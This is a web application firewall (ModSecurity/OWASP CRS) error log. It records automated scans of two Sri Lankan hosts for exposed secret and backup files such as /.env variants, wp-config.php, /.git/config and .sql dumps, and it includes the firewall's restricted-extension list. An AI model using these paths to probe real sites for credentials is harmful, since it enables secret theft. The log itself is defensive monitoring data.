[Fri Jul 17 08:28:28.869916 2026] [security2:error] [pid 2005917:tid 2005917] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaVHf2WrySr2miwA73hAAAABY"]
[Fri Jul 17 08:28:28.870189 2026] [security2:error] [pid 2005917:tid 2005917] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVHf2WrySr2miwA73hAAAABY"]
[Fri Jul 17 08:28:29.108232 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env"] [unique_id "almaVQRRrtuZqNDDSqWswQAAABo"]
[Fri Jul 17 08:28:29.108495 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env"] [unique_id "almaVQRRrtuZqNDDSqWswQAAABo"]
[Fri Jul 17 08:28:29.108736 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVQRRrtuZqNDDSqWswQAAABo"]
[Fri Jul 17 08:28:29.129668 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaVUz_ZDvgWqiMlMbLWgAAAB0"]
[Fri Jul 17 08:28:29.129919 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaVUz_ZDvgWqiMlMbLWgAAAB0"]
[Fri Jul 17 08:28:29.130193 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVUz_ZDvgWqiMlMbLWgAAAB0"]
[Fri Jul 17 08:28:29.627096 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:38166] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:29.709174 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaVeN_HRgVfO4akvmJ0QAAABg"]
[Fri Jul 17 08:28:29.709365 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaVeN_HRgVfO4akvmJ0QAAABg"]
[Fri Jul 17 08:28:29.709605 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaVeN_HRgVfO4akvmJ0QAAABg"]
[Fri Jul 17 08:28:29.709927 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVeN_HRgVfO4akvmJ0QAAABg"]
[Fri Jul 17 08:28:29.732551 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaVd0t9Kb_MdNxrg6-0QAAAAM"]
[Fri Jul 17 08:28:29.732850 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaVd0t9Kb_MdNxrg6-0QAAAAM"]
[Fri Jul 17 08:28:29.733112 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVd0t9Kb_MdNxrg6-0QAAAAM"]
[Fri Jul 17 08:28:30.188083 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaVlh1WDijTxd1xw5I-wAAAAc"]
[Fri Jul 17 08:28:30.188277 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaVgdFk8dCrY-oJNkdGAAAACA"]
[Fri Jul 17 08:28:30.202084 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaVlh1WDijTxd1xw5I-wAAAAc"]
[Fri Jul 17 08:28:30.202084 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaVgdFk8dCrY-oJNkdGAAAACA"]
[Fri Jul 17 08:28:30.202450 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVgdFk8dCrY-oJNkdGAAAACA"]
[Fri Jul 17 08:28:30.204469 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVlh1WDijTxd1xw5I-wAAAAc"]
[Fri Jul 17 08:28:30.303429 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "dataesite.lk"] [uri "/dump.sql"] [unique_id "almaVkgVnBK6wAv37w6oywAAABQ"]
[Fri Jul 17 08:28:30.303718 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/dump.sql"] [unique_id "almaVkgVnBK6wAv37w6oywAAABQ"]
[Fri Jul 17 08:28:30.304073 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/dump.sql"] [unique_id "almaVkgVnBK6wAv37w6oywAAABQ"]
[Fri Jul 17 08:28:30.309196 2026] [security2:error] [pid 1993619:tid 1993619] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaVo1dLClkUfK_dfHhmAAAAAI"]
[Fri Jul 17 08:28:30.309550 2026] [security2:error] [pid 1993619:tid 1993619] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaVo1dLClkUfK_dfHhmAAAAAI"]
[Fri Jul 17 08:28:30.309791 2026] [security2:error] [pid 1993619:tid 1993619] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVo1dLClkUfK_dfHhmAAAAAI"]
[Fri Jul 17 08:28:30.413688 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaVg7FYe46zHK_jL3MawAAABk"]
[Fri Jul 17 08:28:30.413942 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaVg7FYe46zHK_jL3MawAAABk"]
[Fri Jul 17 08:28:30.414213 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVg7FYe46zHK_jL3MawAAABk"]
[Fri Jul 17 08:28:30.527359 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVuN_HRgVfO4akvmJ0gAAABg"]
[Fri Jul 17 08:28:30.527781 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVuN_HRgVfO4akvmJ0gAAABg"]
[Fri Jul 17 08:28:30.528061 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVuN_HRgVfO4akvmJ0gAAABg"]
[Fri Jul 17 08:28:30.653737 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.git/config"] [unique_id "almaVgPhWp7RzB65h36e3AAAAA0"]
[Fri Jul 17 08:28:30.654004 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.git/config"] [unique_id "almaVgPhWp7RzB65h36e3AAAAA0"]
[Fri Jul 17 08:28:30.654411 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.git/config"] [unique_id "almaVgPhWp7RzB65h36e3AAAAA0"]
